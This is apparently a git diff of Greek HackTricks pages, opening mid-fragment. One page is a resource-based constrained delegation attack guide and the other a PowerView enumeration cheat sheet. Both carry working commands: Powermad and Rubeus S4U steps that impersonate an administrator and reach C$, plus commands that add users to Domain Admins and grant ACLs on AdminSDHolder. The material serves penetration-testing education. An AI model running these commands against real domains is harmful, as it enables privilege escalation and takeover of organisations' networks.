* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -1,8 +1,8 @@
# Περιορισμένη Ανάθεση Πόρων
# Περιορισμένη ανάθεση βάσει πόρων
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -14,38 +14,38 @@
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Βασικές Αρχές της Περιορισμένης Ανάθεσης Πόρων
## Βασικές αρχές της περιορισμένης ανάθεσης βάσει πόρων
Αυτό είναι παρόμοιο με τη βασική [Περιορισμένη Ανάθεση](constrained-delegation.md) αλλά **αντί** να δίνει δικαιώματα σε ένα **αντικείμενο** να **υποδυθεί οποιονδήποτε χρήστη εναντίον ενός υπηρεσίας**. Η Περιορισμένη Ανάθεση Πόρων **ορίζει στο αντικείμενο ποιος μπορεί να υποδυθεί οποιονδήποτε χρήστη εναντίον του**.
Αυτό είναι παρόμοιο με τη βασική [Περιορισμένη Ανάθεση](constrained-delegation.md) αλλά **αντί** να δίνει δικαιώματα σε ένα **αντικείμενο να υποκαταστήσει οποιονδήποτε χρήστη έναντι ενός υπηρεσίας**. Η περιορισμένη ανάθεση βάσει πόρων **ορίζει στο αντικείμενο ποιος μπορεί να υποκαταστήσει οποιονδήποτε χρήστη έναντι αυτού**.
Σε αυτήν την περίπτωση, το περιορισμένο αντικείμενο θα έχει ένα χαρακτηριστικό που ονομάζεται _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ με το όνομα του χρήστη που μπορεί να υποδυθεί οποιονδήποτε άλλο χρήστη εναντίον του.
Σε αυτήν την περίπτωση, το περιορισμένο αντικείμενο θα έχει ένα χαρακτηριστικό που ονομάζεται _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ με το όνομα του χρήστη που μπορεί να υποκαταστήσει οποιονδήποτε άλλο χρήστη έναντι αυτού.
Μια άλλη σημαντική διαφορά από αυτήν την Περιορισμένη Ανάθεση στις άλλες αναθέσεις είναι ότι οποιοσδήποτε χρήστης με **δικαιώματα εγγραφής σε ένα λογαριασμό μηχανής** (_GenericAll/GenericWrite/WriteDacl/WriteProperty κλπ_) μπορεί να ορίσει το _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ (Στις άλλες μορφές Ανάθεσης χρειάζονταν δικαιώματα διαχειριστή του τομέα).
### Νέες Έννοιες
Στην Περιορισμένη Ανάθεση είχε αναφερθεί ότι η σημαία **`TrustedToAuthForDelegation`** μέσα στην τιμή _userAccountControl_ του χρήστη απαιτείται για να πραγματοποιηθεί ένα **S4U2Self**. Αλλά αυτό δεν είναι εντελώς αλήθεια.\
Η πραγματικότητα είναι ότι ακόμα και χωρίς αυτήν την τιμή, μπορείτε να πραγματοποιήσετε ένα **S4U2Self** εναντίον οποιουδήποτε χρήστη αν είστε μια **υπηρεσία** (έχετε ένα SPN) αλλά, αν **έχετε το `TrustedToAuthForDelegation`** το επιστρεφόμενο TGS θα είναι **Forwardable** και αν **δεν έχετε** αυτήν τη σημαία το επιστρεφόμενο TGS **δεν** θα είναι **Forwardable**.
Πίσω στην Περιορισμένη Ανάθεση είχε αναφερθεί ότι η σημαία **`TrustedToAuthForDelegation`** μέσα στην τιμή _userAccountControl_ του χρήστη απαιτείται για να πραγματοποιηθεί ένα **S4U2Self**. Αλλά αυτό δεν είναι εντελώς αλήθεια.\
Η πραγματικότητα είναι ότι ακόμη και χωρίς αυτήν την τιμή, μπορείτε να πραγματοποιήσετε ένα **S4U2Self** εναντίον οποιουδήποτε χρήστη αν είστε ένα **service** (έχετε ένα SPN) αλλά, αν **έχετε το `TrustedToAuthForDelegation`** το επιστρεφόμενο TGS θα είναι **Forwardable** και αν **δεν έχετε** αυτήν τη σημαία το επιστρεφόμενο TGS **δεν** θα είναι **Forwardable**.
Ωστόσο, αν το **TGS** που χρησιμοποιείται στο **S4U2Proxy** **ΔΕΝ είναι Forwardable** προσπαθώντας να εκμεταλλευτείτε μια **βασική Περιορισμένη Ανάθεση** **δεν θα λειτουργήσει**. Αλλά αν προσπαθείτε να εκμεταλλευτείτε μια **Περιορισμένη Ανάθεση Πόρων, θα λειτουργήσει** (αυτό δεν είναι μια ευπάθεια, είναι μια λειτουργία, φαίνεται).
Ωστόσο, αν το **TGS** που χρησιμοποιείται στο **S4U2Proxy** **ΔΕΝ είναι Forwardable** προσπαθώντας να εκμεταλλευτείτε μια **βασική Περιορισμένη Ανάθεση** **δεν θα λειτουργήσει**. Αλλά αν προσπαθείτε να εκμεταλλευτείτε μια **Περιορισμένη Ανάθεση βάσει πόρων, θα λειτουργήσει** (αυτό δεν είναι μια ευπάθεια, είναι μια λειτουργία, φαίνεται).
### Δομή Επίθεσης
### Δομή επίθεσης
> Αν έχετε **ισοδύναμα δικαιώματα εγγραφής** σε ένα **λογαριασμό Υπολογιστή** μπορείτε να αποκτήσετε **προνομιακή πρόσβαση** σε αυτό το μηχάνημα.
> Αν έχετε **ισοδύναμα δικαιώματα εγγραφής** σε ένα **λογαριασμό Υπολογιστή** μπορείτε να αποκτήσετε **προνομιακή πρόσβαση** σε αυτό τον υπολογιστή.
Υποθέστε ότι ο επιτιθέμενος έχει ήδη **ισοδύναμα δικαιώματα εγγραφής στον υπολογιστή θύματος**.
1. Ο επιτιθέμενος **θέτει σε κίνδυνο** ένα λογαριασμό που έχει ένα **SPN** ή **δημιουργεί έναν** (“Υπηρεσία Α”). Σημειώστε ότι **οποιοσδήποτε** ιαχειριστής Χρήστη_ χωρίς κανένα άλλο ειδικό προνόμιο μπορεί να **δημιουργήσει** μέχρι 10 **αντικείμενα Υπολογιστή (**_**MachineAccountQuota**_**)** και να τους ορίσει ένα SPN. Έτσι ο επιτιθέμενος μπορεί απλά να δημιουργήσει ένα αντικείμενο Υπολογιστή και να ορίσει ένα SPN.
2. Ο επιτιθέμενος **καταχράζεται το δικαίωμα ΕΓΓΡΑΦΗΣ** του υπολογιστή θύματος (Υπηρεσία Β) για να ρυθμίσει **περιορισμένη ανάθεση πόρων για να επιτρέψει στην Υπηρεσία Α να υποδυθεί οποιονδήποτε χρήστη** εναντίον του υπολογιστή θύματος (Υπηρεσία Β).
1. Ο επιτιθέμενος **διαρρήγνει** ένα λογαριασμό που έχει ένα **SPN** ή **δημιουργεί έναν** (“Υπηρεσία Α”). Σημειώστε ότι **οποιοσδήποτε** ιαχειριστής Χρήστης_ χωρίς κανένα άλλο ειδικό προνόμιο μπορεί να **δημιουργήσει** μέχρι 10 **αντικείμενα Υπολογιστή (**_**MachineAccountQuota**_**)** και να τους ορίσει ένα SPN. Έτσι ο επιτιθέμενος μπορεί απλά να δημιουργήσει ένα αντικείμενο Υπολογιστή και να ορίσει ένα SPN.
2. Ο επιτιθέμενος **καταχράζεται το δικαίωμα ΕΓΓΡΑΦΗΣ** του στον υπολογιστή θύματος (Υπηρεσία Β) για να ρυθμίσει **περιορισμένη ανάθεση βάσει πόρων για να επιτρέψει στην Υπηρεσία Α να υποκαταστήσει οποιονδήποτε χρήστη** έναντι αυτού του υπολογιστή θύματος (Υπηρεσία Β).
3. Ο επιτιθέμενος χρησιμοποιεί το Rubeus για να πραγματοποιήσει μια **πλήρη επίθεση S4U** (S4U2Self και S4U2Proxy) από την Υπηρεσία Α στην Υπηρεσία Β για έναν χρήστη **με προνομιακή πρόσβαση στην Υπηρεσία Β**.
1. S4U2Self (από τον λογαριασμό με τον SPN που έχει διαρρεύσει/δημιουργηθεί): Ζητήστε ένα **TGS του Διαχειριστή προς εμένα** (Μη Forwardable).
2. S4U2Proxy: Χρησιμοποιήστε το **μη Forwardable TGS** από το προηγούμενο βήμα για να ζητήσετε ένα **TGS** από τον **Διαχειριστή** προς το **υπολογιστή θύμα**.
3. Ακόμα κι αν χρησιμοποιείτε ένα μη Forwardable TGS, καθώς εκμεταλλεύεστε την Περιορισμένη Ανάθεση Πόρων, θα λειτουργήσει.
4. Ο επιτιθέμενος μπορεί να **περάσει το εισιτήριο** και να **υποδυθεί** τον χρήστη για να κερδίσει **πρόσβαση στην υπηρεσία Β θύματος**.
1. S4U2Self (από τον λογαριασμό με τον SPN που διαρράγηκε/δημιουργήθηκε): Ζητήστε ένα **TGS του Διαχειριστή προς εμένα** (Μη Forwardable).
2. S4U2Proxy: Χρησιμοποιήστε το **μη Forwardable TGS** του προηγούμενου βήματος για να ζητήσετε ένα **TGS** από τον **Διαχειριστή** προς τον **υπολογιστή θύμα**.
3. Ακόμη κι αν χρησιμοποιείτε ένα μη Forwardable TGS, καθώς εκμεταλλεύεστε περιορισμένη ανάθεση βάσει πόρων, θα λειτουργήσει.
4. Ο επιτιθέμενος μπορεί να **περάσει το εισιτήριο** και να **υποκαταστήσει** τον χρήστη για να κερδίσει **πρόσβαση στην υπηρεσία Β θύματος**.
Για να ελέγξετε το _**MachineAccountQuota**_ του τομέα μπορείτε να χρησιμοποιήσετε:
```powershell
@ -53,7 +53,7 @@ Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select Ma
```
## Επίθεση
### Δημιουργία Αντικειμένου Υπολογιστή
### Δημιουργία ενός Αντικειμένου Υπολογιστή
Μπορείτε να δημιουργήσετε ένα αντικείμενο υπολογιστή μέσα στον τομέα χρησιμοποιώντας το [powermad](https://github.com/Kevin-Robertson/Powermad)**:**
```powershell
@ -63,9 +63,9 @@ New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '
# Check if created
Get-DomainComputer SERVICEA
```
### Διαμόρφωση Περιορισμένης Ανάθεσης Πόρων
### Διαμόρφωση Περιορισμένης Ανάθεσης με Βάση τον Πόρο
**Χρησιμοποιώντας το activedirectory PowerShell module**
**Χρησιμοποιώντας το άρθρωμα PowerShell του Active Directory**
```powershell
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
@ -87,11 +87,11 @@ msds-allowedtoactonbehalfofotheridentity
```
### Εκτέλεση μιας πλήρους επίθεσης S4U
Καταρχάς, δημιουργήσαμε το νέο αντικείμενο Υπολογιστή με τον κωδικό `123456`, έτσι χρειαζόμαστε το hash του συγκεκριμένου κωδικού:
Καταρχάς, δημιουργήσαμε το νέο αντικείμενο Υπολογιστή με τον κωδικό πρόσβασης `123456`, οπότε χρειαζόμαστε το hash του συγκεκριμένου κωδικού:
```bash
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
```
Αυτό θα εκτυπώσει τις κατακερματισμένες τιμές RC4 και AES για αυτόν τον λογαριασμό.\
Αυτό θα εκτυπώσει τις κατακευές RC4 και AES για αυτόν τον λογαριασμό.\
Τώρα, η επίθεση μπορεί να πραγματοποιηθεί:
```bash
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
@ -101,12 +101,12 @@ rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
```
{% hint style="danger" %}
Σημείωση ότι οι χρήστες έχουν ένα χαρακτηριστικό που ονομάζεται "**Δεν μπορεί να ανατεθεί**". Αν ένας χρήστης έχει αυτό το χαρακτηριστικό σε True, δεν θα μπορείτε να τον υποδυθείτε. Αυτή η ιδιότητα μπορεί να βρεθεί μέσα στο bloodhound.
Σημειώστε ότι οι χρήστες έχουν ένα χαρακτηριστικό που ονομάζεται "**Δεν μπορεί να ανατεθεί**". Αν ένας χρήστης έχει αυτό το χαρακτηριστικό σε True, δεν θα μπορείτε να υποδείξετε την ταυτότητά του. Αυτή η ιδιότητα μπορεί να βρεθεί μέσα στο bloodhound.
{% endhint %}
### Πρόσβαση
Η τελευταία γραμμή εντολών θα εκτελέσει την **πλήρη επίθεση S4U και θα ενθυλακώσει το TGS** από τον Διαχειριστή στον υπολογιστή-θύμα στη **μνήμη**.\
Η τελευταία γραμμή εντολής θα εκτελέσει την **πλήρη επίθεση S4U και θα ενθυλακώσει το TGS** από τον Διαχειριστή στον υπολογιστή-θύμα στην **μνήμη**.\
Σε αυτό το παράδειγμα ζητήθηκε ένα TGS για την υπηρεσία **CIFS** από τον Διαχειριστή, οπότε θα μπορείτε να έχετε πρόσβαση στο **C$**:
```bash
ls \\victim.domain.local\C$
@ -121,7 +121,7 @@ ls \\victim.domain.local\C$
* **`KRB_AP_ERR_SKEW`**: Αυτό σημαίνει ότι ο χρόνος του τρέχοντος υπολογιστή είναι διαφορετικός από αυτόν του DC και το Kerberos δεν λειτουργεί σωστά.
* **`preauth_failed`**: Αυτό σημαίνει ότι το δεδομένο όνομα χρήστη + hashes δεν λειτουργούν για σύνδεση. Ίσως έχετε ξεχάσει να βάλετε το "$" μέσα στο όνομα χρήστη κατά τη δημιουργία των hashes (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
* **`KDC_ERR_BADOPTION`**: Αυτό μπορεί να σημαίνει:
* Ο χρήστης που προσπαθείτε να υποκαταστήσετε δεν μπορεί να έχει πρόσβαση στην επιθυμητή υπηρεσία (επειδή δεν μπορείτε να την υποκαταστήσετε ή δεν έχει αρκετά προνόμια)
* Ο χρήστης που προσπαθείτε να υποκαταστήσετε δεν μπορεί να έχει πρόσβαση στην επιθυμητή υπηρεσία (επειδή δεν μπορείτε να την υποκαταστήσετε ή διότι δεν έχει αρκετά προνόμια)
* Η ζητούμενη υπηρεσία δεν υπάρχει (αν ζητήσετε ένα εισιτήριο για το winrm αλλά το winrm δεν εκτελείται)
* Το fakecomputer που δημιουργήθηκε έχει χάσει τα προνόμια του πάνω στο ευάλωτο διακομιστή και πρέπει να τους επαναφέρετε.
@ -132,7 +132,7 @@ ls \\victim.domain.local\C$
* [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
* [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -145,7 +145,7 @@ ls \\victim.domain.local\C$
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
</details>

View file

@ -5,21 +5,21 @@
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε τη [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Η πιο ενημερωμένη έκδοση του PowerView θα βρίσκεται πάντα στο κλαδί dev του PowerSploit: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
[**SharpView**](https://github.com/tevora-threat/SharpView) είναι μια μεταφορά .NET του [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
[**SharpView**](https://github.com/tevora-threat/SharpView) είναι μια μεταφορά του .NET του [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
### Γρήγορη απαρίθμηση
```powershell
@ -75,7 +75,7 @@ Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain D
# Get Forest info
Get-ForestDomain
```
### Χρήστες, Ομάδες, Υπολογιστές & Μονάδες Οργάνωσης (OUs)
### Χρήστες, Ομάδες, Υπολογιστές & Οργανωτικές Μονάδες
```powershell
# Users
## Get usernames and their groups
@ -151,8 +151,8 @@ Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (n
```
### Αντικείμενο Ομάδας Πολιτικής - GPOs
Εάν ένας εισβολέας έχει **υψηλά προνόμια πάνω σε ένα GPO**, θα μπορούσε να **αυξήσει τα προνόμια** καταχρώντας το προσθέτοντας **δικαιώματα σε έναν χρήστη**, προσθέτοντας έναν τοπικό διαχειριστή σε έναν υπολογιστή ή **δημιουργώντας μια προγραμματισμένη εργασία** (άμεση) για να εκτελέσει μια ενέργεια.\
Για [**περισσότερες πληροφορίες σχετικά με αυτό και πώς να το καταχρηστικοποιήσετε ακολουθήστε αυτόν τον σύνδεσμο**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
Εάν ένας επιτιθέμενος έχει **υψηλά προνόμια πάνω σε ένα GPO**, θα μπορούσε να **αυξήσει τα προνόμια** καταχρώντας το προσθέτοντας **δικαιώματα σε έναν χρήστη**, προσθέτοντας έναν τοπικό διαχειριστή σε έναν υπολογιστή ή **δημιουργώντας μια προγραμματισμένη εργασία** (άμεση) για να εκτελέσει μια ενέργεια.\
Για [**περισσότερες πληροφορίες σχετικά και πώς να το καταχρηστικοποιήσετε ακολουθήστε αυτόν τον σύνδεσμο**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
```powershell
#GPO
Get-DomainGPO | select displayName #Check the names for info
@ -186,7 +186,7 @@ Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
```
Μάθετε πώς να **εκμεταλλευτείτε τα δικαιώματα πάνω σε GPOs και ACLs** στο:
Μάθετε πώς να **εκμεταλλευτείτε τα δικαιώματα πάνω σε GPOs και ACLs** σε:
{% content-ref url="../active-directory-methodology/acl-persistence-abuse/" %}
[acl-persistence-abuse](../active-directory-methodology/acl-persistence-abuse/)
@ -274,7 +274,7 @@ Invoke-UserHunter -GroupName "RDPUsers"
#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)
Invoke-UserHunter -Stealth
```
### Διαγραμμένα αντικείμενα
### Διαγεγραμμένα αντικείμενα
```powershell
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
@ -317,7 +317,7 @@ Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=lo
# Add user to 'Domain Admins'
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -325,10 +325,10 @@ Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>